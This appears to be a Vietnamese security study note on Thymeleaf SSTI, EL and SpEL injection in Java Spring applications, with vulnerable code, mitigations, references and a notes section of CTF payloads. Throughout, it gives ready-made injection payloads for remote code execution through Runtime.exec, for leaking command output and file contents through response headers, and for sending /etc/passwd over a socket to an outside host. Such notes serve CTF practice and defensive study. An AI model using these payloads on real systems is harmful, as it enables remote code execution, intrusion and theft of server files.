---
# System prepended metadata

title: EL injection && SpEl && SSTI
tags: [JAVA]

---

# EL injection && SpEl && SSTI
# 1. Thymeleaf SSTI 
## 1.1 Templatename
Khi ứng dụng sử dụng thymeleaf + spring(boot), mà attacker có thể control được view path => Bug có thể rce

Đoạn code dính bug
![](https://hackmd.io/_uploads/rkSVWdVO3.png)
Trước khi Thymeleaf thực hiện load file từ hệ thống để render thì [Spring ThymeleafView](https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java#L277) class sẽ parse cái template name như một expression

```javascript
try {
   // By parsing it as a standard expression, we might profit from the expression cache
   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}
```
Đoạn code trên dẫn đến EL injection => RCE

**PAYLOAD EXPLOIT**
```javascript
http://127.0.0.1:8080/admin/?language=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.k

http://127.0.0.1:8080/admin//?language=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.k

```

Một vài cách để hạn chế bug này khi code
+) Thêm annotation @ResponseBody
```javascript
@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
    return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}
```
+) Redirect: khi redirect và nhận input từ người dùng thì logic nó sẽ khác, nó sẽ ko gọi đến Thymeleaf class để parse. Mà gọi đến RedirectView, vẫn có thể tồn tại bug open redirect nhưng sẽ ko có bug RCE

+) Thêm tham số HttpServletResponse
```javascript 
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}
```
## 1.2 URI Path
Đoạn code bị lỗi, mặc dù nó ko return cái gì cả nhưng vẫn dính bug.
```javascript=
@GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }
```
Chú ý là 2 bug ở trên chỉ tồn tại ở thymleaf version 3.x thoi, ở version 3.x thymleaf có tính năng fragment exression mới dính bug còn version 2.x thì ko có. Đúng câu thêm tính năng thêm bugs :)))
Những version của thymleaf tương ứng với spring boot
![](https://hackmd.io/_uploads/ByKadZndh.png)

Source code demo:
https://github.com/veracode-research/spring-view-manipulation
Labs:
https://github.com/cn-panda/ThymeleafSSTIBypass/tree/main
Tham khảo:
https://www.cnpanda.net/sec/1063.html
https://xz.aliyun.com/t/11688#toc-1
https://www.anquanke.com/post/id/254519#h3-12
https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
# 2. EL injection
Tham khảo:
+) https://forum.butian.net/share/886
+) https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/
+) https://securitylab.github.com/research/bean-validation-RCE/
+) https://github.com/Y4tacker/JavaSec/blob/main/17.%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%2B%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9B%B8%E5%85%B3/el%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%BB%95waf%E7%9A%84trick/index.md
+) https://blog.viettelcybersecurity.com/when-el-injection-meets-java-deserialization/
# 3. SpEL injection
Ví dụ code bị lỗi
![](https://hackmd.io/_uploads/SyZ94dNd3.png)
Code ko lỗi
![](https://hackmd.io/_uploads/ryYo4uNOh.png)
Source code demo:
https://github.com/jzheaux/spel-injection/tree/master
Bypass waf: https://www.pmnh.site/post/writeup_spring_el_waf_bypass/

Pre-authentication RCE in OpenMetadata: 
https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/

Basic SpEL: http://rui0.cn/archives/1043
# NOTE
- Trường hợp không có internet, ghi output ra response headers (TETCTF 2024 Java censor)

```
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter("\\A").next()))
```


CrewCTF 2024
Read file
```
new java.io.FileInputStream(new java.io.File("/etc/passwd")).transferTo(new java.net.Socket(\"abc123\", 1337).getOutputStream())
```

Đọc file thông qua response headers (jdk version thấp), version cao thì sử dụng payload ở trên vẫn chạy.


```
T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().setHeader('k',new+java.io.BufferedReader(new+java.io.FileReader('/tmp/xxxx')).readLine())
```

```
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
```

Đọc file trên windows

```
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,new+java.io.BufferedReader(new+java.io.FileReader('c:/users/datdo/OneDrive/Desktop/flag.txt')).readLine())
```

Truyền vào 1 array trong getRuntime.exec()
```
__${T(java.lang.Runtime).getRuntime().exec(new String[]{"sh","-c","gcc -o /tmp/flag /flag.c"}).waitFor()}__::.x
```